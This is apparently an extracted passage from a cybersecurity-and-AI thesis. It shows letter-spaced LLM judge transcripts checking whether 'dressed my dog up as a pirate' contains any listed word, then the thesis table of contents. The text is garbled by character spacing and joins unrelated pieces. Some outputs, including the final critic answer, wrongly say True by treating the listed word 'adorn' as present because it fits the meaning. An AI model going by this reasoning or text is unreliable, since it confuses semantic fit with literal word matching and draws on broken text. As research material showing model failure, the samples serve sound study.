F i r s t , t h e s e n t e n c e i s a b o u t d r e s s i n g a dog as a

p i r a t e . So , t h e main e l e m e n t s a r e d r e s s i n g , dog ,

p i r a t e . Now, l o o k i n g a t t h e l i s t o f words , I s e e

words l i k e " adorn , " which means t o d e c o r a t e o r

d r e s s up . That ’ s a p o s s i b i l i t y b e c a u s e t h e

s e n t e n c e i s a b o u t d r e s s i n g t h e dog .

Next , I ’ l l check t h e o t h e r words t o be t h o r o u g h . "

C o n t a i n e r " doesn ’ t f i t h e r e . " Length " and "

h a i r s t y l e " a r e u n r e l a t e d . " Mountain , " " l e s s o n , " "

shop , " " b o u t i q u e , " " g l i d e r , " " i r o n , " " s t e a l , " "

o r a n g u t a n , " " o v e r a l l , " " b l u r , " " l ava , " " e q u e s t r i a n

, " " e x e r t , " " hear , " " scuba , " " s l i c e , " "

m a n u f a c t u r i n g , " " p e r s o n a l i t y , " " decor , " " cemete ry

, " " p l a n t a t i o n , " " ea r , " " e x c i t e , " " argue , " "

i n s c r i p t i o n , " " cook , " " d e i t y , " " p a l l e t , " " s k y l i n e

, " " hose , " " chromosome , " " awning , " " c o n t r a i l , " "

brand , " " r i g h t , " " medina , " " ca twa lk , " " s h e e r , " "

b e r t h , " " lamb , " " compla in , " " impres s , " " i g n o r e , " "

onion , " " t h r i v e , " " sme l l , " " g u i t a r i s t , " " e f f e c t , "

" header , " " aim , " " ask , " " dome , " " p a n i n i , " "

h e a d d r e s s , " " t a b l e , " " adorn , " " e v a c u a t e , " " s p a r k l e

, " " g i r l f r i e n d , " " synchrony , " " e x p o r t , " " t ag , " "

pu f f , " " schoo l , " " f i d d l e , " " queue , " " beam , " " medal

, " " i n t e n s i f y , " " d i s t a n c e , " " alm , " " b u l l f i g h t , " "

mida i r , " " mangrove , " " b l e s s , " " wal l , " "mow, " "

u n i v e r s e , " " cand le , " " ga laxy , " " r e e l , " " soa r , " "

worship , " " sneeze , " " g a l l o p , " " c l ank , " " chimney , "

" he lmet , " " a l low , " " l e a t h e r , " " embrace , " " i c e b e r g

, " " l a n t e r n , " " s t r i d e , " " v a c a t i o n , " " wallow . "

Wait , I a l r e a d y found " adorn " as a p o s s i b l e match .

Le t me make s u r e t h e r e ’ s no o t h e r word t h a t might

f i t . " Adorn " i s t h e on ly one t h a t r e l a t e s t o

d r e s s i n g o r d e c o r a t i n g some th ing . The s e n t e n c e i s
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a b o u t d r e s s i n g t h e dog , so " adorn " f i t s p e r f e c t l y .

The o t h e r words don ’ t seem t o c o n n e c t a t a l l . So ,

t h e s e n t e n c e does c o n t a i n one of t h e s p e c i f i e d

words .

</ t h i n k >

The s e n t e n c e c o n t a i n s t h e word " adorn , " which means

t o d e c o r a t e o r d r e s s some th ing . S i n c e t h e s e n t e n c e

i s a b o u t d r e s s i n g a dog as a p i r a t e , " adorn " f i t s

t h e c o n t e x t . <answer >True < / answer >

Judge 1 : < t h i n k >

A l r i g h t , so I need t o check i f t h e s e n t e n c e " d r e s s e d

my dog up as a p i r a t e " c o n t a i n s any of t h e g i v e n

words . Le t me go t h r o u g h each word one by one .

F i r s t , I ’ l l r e a d t h e s e n t e n c e c a r e f u l l y . I t s a y s

t h e u s e r d r e s s e d t h e i r dog up l i k e a p i r a t e . So ,

t h e main a c t i o n s h e r e a r e d r e s s i n g and b e i n g a

p i r a t e .

Looking a t t h e l i s t o f words , I s e e words l i k e ’ d r e s s

’ o r ’ c l o t h i n g ’ aren ’ t p r e s e n t . The s e n t e n c e

m e n t i o n s ’ dog ’ and ’ p i r a t e ’ , b u t t h o s e aren ’ t i n

t h e l i s t e i t h e r . I ’ l l go t h r o u g h each word from

t h e l i s t t o make s u r e I don ’ t miss a n y t h i n g . Words

l i k e ’ massage ’ , ’ c o n t a i n e r ’ , ’ l e n g t h ’ , ’ h a i r s t y l e

’ − none of t h e s e a r e i n t h e s e n t e n c e . ’ Mountain ’ ,

’ l e s s o n ’ , ’ shop ’ , ’ b o u t i q u e ’ − nope . ’ G l i d e r ’ , ’

i r o n ’ , ’ s t e a l ’ , ’ o r a n g u t a n ’ − s t i l l n o t h i n g . ’

O v e r a l l ’ , ’ b l u r ’ , ’ l ava ’ , ’ e q u e s t r i a n ’ , ’ e x e r t ’ , ’

hear ’ , ’ scuba ’ , ’ s l i c e ’ , ’ m a n u f a c t u r i n g ’ , ’

p e r s o n a l i t y ’ , ’ decor ’ , ’ cemete ry ’ , ’ p l a n t a t i o n ’ , ’

ea r ’ , ’ e x c i t e ’ , ’ a rgue ’ , ’ i n s c r i p t i o n ’ , ’ cook ’ , ’

d e i t y ’ , ’ p a l l e t ’ , ’ s k y l i n e ’ , ’ hose ’ , ’ chromosome ’ ,

’ awning ’ , ’ c o n t r a i l ’ , ’ brand ’ , ’ r i g h t ’ , ’ medina ’ ,

’ ca twa lk ’ , ’ s h e e r ’ , ’ b e r t h ’ , ’ lamb ’ , ’ compla in ’ ,

’ impres s ’ , ’ i g n o r e ’ , ’ onion ’ , ’ t h r i v e ’ , ’ sme l l ’ , ’

g u i t a r i s t ’ , ’ e f f e c t ’ , ’ header ’ , ’ aim ’ , ’ ask ’ , ’

dome ’ , ’ p a n i n i ’ , ’ h e a d d r e s s ’ , ’ t a b l e ’ , ’ adorn ’ , ’
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e v a c u a t e ’ , ’ s p a r k l e ’ , ’ g i r l f r i e n d ’ , ’ synchrony ’ , ’

e x p o r t ’ , ’ t ag ’ , ’ pu f f ’ , ’ s choo l ’ , ’ f i d d l e ’ , ’ queue

’ , ’ beam ’ , ’ medal ’ , ’ i n t e n s i f y ’ , ’ d i s t a n c e ’ , ’ alm

’ , ’ b u l l f i g h t ’ , ’ m ida i r ’ , ’ mangrove ’ , ’ b l e s s ’ , ’

wal l ’ , ’mow’ , ’ u n i v e r s e ’ , ’ cand l e ’ , ’ ga laxy ’ , ’

r e e l ’ , ’ soa r ’ , ’ worship ’ , ’ sneeze ’ , ’ g a l l o p ’ , ’

c l ank ’ , ’ chimney ’ , ’ he lmet ’ , ’ a l low ’ , ’ l e a t h e r ’ , ’

embrace ’ , ’ i c e b e r g ’ , ’ l a n t e r n ’ , ’ s t r i d e ’ , ’

v a c a t i o n ’ , ’ wallow ’ .

A f t e r go ing t h r o u g h each word , I don ’ t s e e any t h a t

match t h e s e n t e n c e . The s e n t e n c e u s e s ’ d r e s s e d ’

and ’ dog ’ , b u t t h o s e aren ’ t i n t h e l i s t . The

c l o s e s t might be ’ adorn ’ , b u t t h a t ’ s n o t p r e s e n t

e i t h e r . So , t h e s e n t e n c e doesn ’ t c o n t a i n any of

t h e s p e c i f i e d words .

</ t h i n k >

<answer > F a l s e < / answer >

Judge 2 : < t h i n k >

Okay , so I need t o check i f t h e s e n t e n c e " d r e s s e d my

dog up as a p i r a t e " c o n t a i n s any of t h e g i v e n

words . Le t me l i s t o u t t h e words f i r s t t o make

s u r e I don ’ t miss any . The words a r e : massage ,

c o n t a i n e r , l e n g t h , h a i r s t y l e , mountain , l e s s o n ,

shop , b o u t i q u e , g l i d e r , i r o n , s t e a l , o r a n g u t a n ,

o v e r a l l , b l u r , l ava , e q u e s t r i a n , e x e r t , hear ,

scuba , s l i c e , m a n u f a c t u r i n g , p e r s o n a l i t y , decor ,

cemetery , p l a n t a t i o n , ea r , e x c i t e , a rgue ,

i n s c r i p t i o n , cook , d e i t y , p a l l e t , s k y l i n e , hose ,

chromosome , awning , c o n t r a i l , brand , r i g h t , medina

, ca twa lk , s h e e r , b e r t h , lamb , compla in , impres s ,

i g n o r e , onion , t h r i v e , sme l l , g u i t a r i s t , e f f e c t ,

header , aim , ask , dome , p a n i n i , h e a d d r e s s , t a b l e ,

adorn , e v a c u a t e , s p a r k l e , g i r l f r i e n d , synchrony ,

e x p o r t , t ag , pu f f , s choo l , f i d d l e , queue , beam ,

medal , i n t e n s i f y , d i s t a n c e , alm , b u l l f i g h t , m ida i r

, mangrove , b l e s s , wal l , mow, u n i v e r s e , cand l e ,
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ga laxy , r e e l , soa r , worship , sneeze , g a l l o p , c l ank

, chimney , he lmet , a l low , l e a t h e r , embrace ,

i c e b e r g , l a n t e r n , s t r i d e , v a c a t i o n , wallow .

Hmm, t h e s e n t e n c e i s a b o u t d r e s s i n g a dog as a p i r a t e

. So , t h e main e l e m e n t s a r e " dog , " " d r e s s , " "

p i r a t e . " Now, l o o k i n g t h r o u g h t h e l i s t , I don ’ t

s e e " dog " l i s t e d , so t h a t ’ s a p o i n t a g a i n s t i t .

But wai t , t h e words a r e a b o u t c h e c k i n g i f any of

them a r e p r e s e n t i n t h e s e n t e n c e , n o t n e c e s s a r i l y

t h e o t h e r way around .

Wait , t h e s e n t e n c e i s " d r e s s e d my dog up as a p i r a t e

. " So t h e words used a r e " d r e s s e d , " "my , " " dog , " "

up , " " as , " " a , " " p i r a t e . " None of t h o s e words a r e

i n t h e p r o v i d e d l i s t . Le t me double − check t h e l i s t

a g a i n . The words a r e a l l nouns , I t h i n k . So "

d r e s s e d " i s a verb , " dog " i s a noun , b u t " dog " i s n

’ t i n t h e l i s t . So t h e s e n t e n c e doesn ’ t c o n t a i n

any of t h e s p e c i f i e d words . T h e r e f o r e , t h e answer

s h o u l d be F a l s e .

</ t h i n k >

<answer > F a l s e < / answer >

What i s your f i n a l v e r d i c t ? J u s t answer True o r F a l s e

: Ensure t o e n c l u d e your f i n a l answer i n t o <answer

> </ answer > . For i n s t a n c e , i f t h e s e n t e n c e c o n t a i n s

one o f t h e words , answer <answer >True < / answer > ; <

answer > F a l s e < / answer > o t h e r w i s e .

( Pdb ) a n s w e r _ c r i t i c

’< t h i n k > \ n A l r i g h t , so I need t o d e t e r m i n e i f t h e

s e n t e n c e " d r e s s e d my dog up as a p i r a t e " c o n t a i n s

any of t h e s p e c i f i e d words . Le t me go t h r o u g h each

word i n t h e l i s t t o s e e i f any match . \ n \ n F i r s t ,

t h e s e n t e n c e i s a b o u t d r e s s i n g a dog as a p i r a t e .

The key e l e m e n t s a r e " d r e s s , " " dog , " and " p i r a t e . "

Now, l o o k i n g a t t h e l i s t o f words p r o v i d e d :

massage , c o n t a i n e r , l e n g t h , h a i r s t y l e , mountain ,
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l e s s o n , shop , b o u t i q u e , g l i d e r , i r o n , s t e a l ,

o r a n g u t a n , o v e r a l l , b l u r , l ava , e q u e s t r i a n , e x e r t ,

hear , scuba , s l i c e , m a n u f a c t u r i n g , p e r s o n a l i t y ,

decor , cemetery , p l a n t a t i o n , ea r , e x c i t e , a rgue ,

i n s c r i p t i o n , cook , d e i t y , p a l l e t , s k y l i n e , hose ,

chromosome , awning , c o n t r a i l , brand , r i g h t , medina

, ca twa lk , s h e e r , b e r t h , lamb , compla in , impres s ,

i g n o r e , onion , t h r i v e , sme l l , g u i t a r i s t , e f f e c t ,

header , aim , ask , dome , p a n i n i , h e a d d r e s s , t a b l e ,

adorn , e v a c u a t e , s p a r k l e , g i r l f r i e n d , synchrony ,

e x p o r t , t ag , pu f f , s choo l , f i d d l e , queue , beam ,

medal , i n t e n s i f y , d i s t a n c e , alm , b u l l f i g h t , m ida i r

, mangrove , b l e s s , wal l , mow, u n i v e r s e , cand l e ,

ga laxy , r e e l , soa r , worship , sneeze , g a l l o p , c l ank

, chimney , he lmet , a l low , l e a t h e r , embrace ,

i c e b e r g , l a n t e r n , s t r i d e , v a c a t i o n , wallow . \ n \

n A f t e r r e v i e w i n g each word , I n o t i c e t h a t " adorn "

i s p r e s e n t i n t h e l i s t . The word " adorn " means t o

d e c o r a t e o r d r e s s some th ing . S i n c e t h e s e n t e n c e i s

a b o u t d r e s s i n g a dog , " adorn " f i t s t h e c o n t e x t .

T h e r e f o r e , t h e s e n t e n c e does c o n t a i n one of t h e

s p e c i f i e d words . \ n<answer >True < / answer > ’


	Contents
	List of Figures
	List of Tables
	1 Cybersecurity, AI, Position of the Thesis
	1.1 Cybersecurity Challenges In Today's Landscape
	1.2 AI-Powered Solutions for Modern Cyber Threats
	1.3 Position and contributions of the thesis
	1.4 List of publications

	2 Pretrained Language Models for Malicious Log Analysis: LogPrécis
	2.1 Introduction
	2.2 Background and Related Work
	2.2.1 Language Models
	2.2.2 Related Work
	2.2.3 Language Models vs Static analysis

	2.3 LM Pipeline and Design Choices
	2.3.1 Input: Commands, Statements, Sessions
	2.3.2 Downstream Classification Tasks
	2.3.3 Design Choices
	2.3.4 Fine-tuning for Specific Classification Task
	2.3.5 Performance Metrics

	2.4 LogPrécis Design and Evaluation
	2.4.1 Datasets
	2.4.2 Labelling Process
	2.4.3 Design Choice Comparison
	2.4.4 LogPrécis For Log Analysis

	2.5 LogPrécis in the Wild - Word Level Analysis
	2.5.1 Inference Characterisation
	2.5.2 Shell Commands to Tactics
	2.5.3 Tactics to Shell Commands

	2.6 LogPrécis in the Wild - Session Fingerprints
	2.6.1 Fingerprints at the Session Level
	2.6.2 Fingerprint Evolution Over Time
	2.6.3 LogPrécis for Novelty Detection
	2.6.4 Session Prototype Extraction
	2.6.5 Tracking Session Morphing

	2.7 Discussion
	3 Large Language Models for Intrusion Detection
	3.1 Introduction
	3.2 State of the Art
	3.2.1 Other LLM-related Security Studies
	3.2.2 Contributions

	3.3 Solutions overview
	3.3.1 Prompt engineering
	3.3.2 Retrieval Augmented Generation (RAG)
	3.3.3 Fine-tuned LLMs + Frozen LLMs

	3.4 Methodology
	3.4.1 Problem statement
	3.4.2 Dataset
	3.4.3 Data Splits and Evaluation Scenarios
	3.4.4 Classification Models

	3.5 Experimental results
	3.5.1 Ease of deployment
	3.5.2 ML vs fine-tuned LLM
	3.5.3 Performance in practice
	3.5.4 Best LLM practices

	3.6 Discussion
	4 Pitfalls of Pretrained Models for Encrypted Traffic Classification 
	4.1 Introduction
	4.2 Representation Learning: Core Principles
	4.3 Representation Learning: Network Traffic
	4.3.1 Choice of Model Architecture
	4.3.2 Pre-training Dataset
	4.3.3 Choice of Pre-training Tasks
	4.3.4 Mitigating the pitfalls: Pcap-Encoder

	4.4 Benchmark for Network Traffic Classification
	4.4.1 Dataset Preparation: Collecting, Cleaning, Splitting
	4.4.2 Downstream classification

	4.5 Experimental setup
	4.6 Results
	4.6.1 Packet-Level Traffic Classification
	4.6.2 Flow-Level Traffic Classification Results
	4.6.3 Model efficiency

	4.7 Related Works
	4.8 Discussion
	5 LLMs Constrained Generation with Hundreds of Constraints
	5.1 Introduction
	5.2 Related Work
	5.3 Large-Scale Constraint Generation
	5.3.1 Formal Definition
	5.3.2 Existing Test Steering Strategies
	5.3.3 FoCusNet

	5.4 Methodology
	5.4.1 Words Checker
	5.4.2 FoCusNet for Words Checker

	5.5 Experiments
	5.5.1 Experiments Settings
	5.5.2 Results

	5.6 Discussion
	6 Conclusion and Future Work
	References
	A Appendix Chapter 3
	B Appendix Chapter 4
	C Appendix Chapter 5
	D Appendix Chapter 6





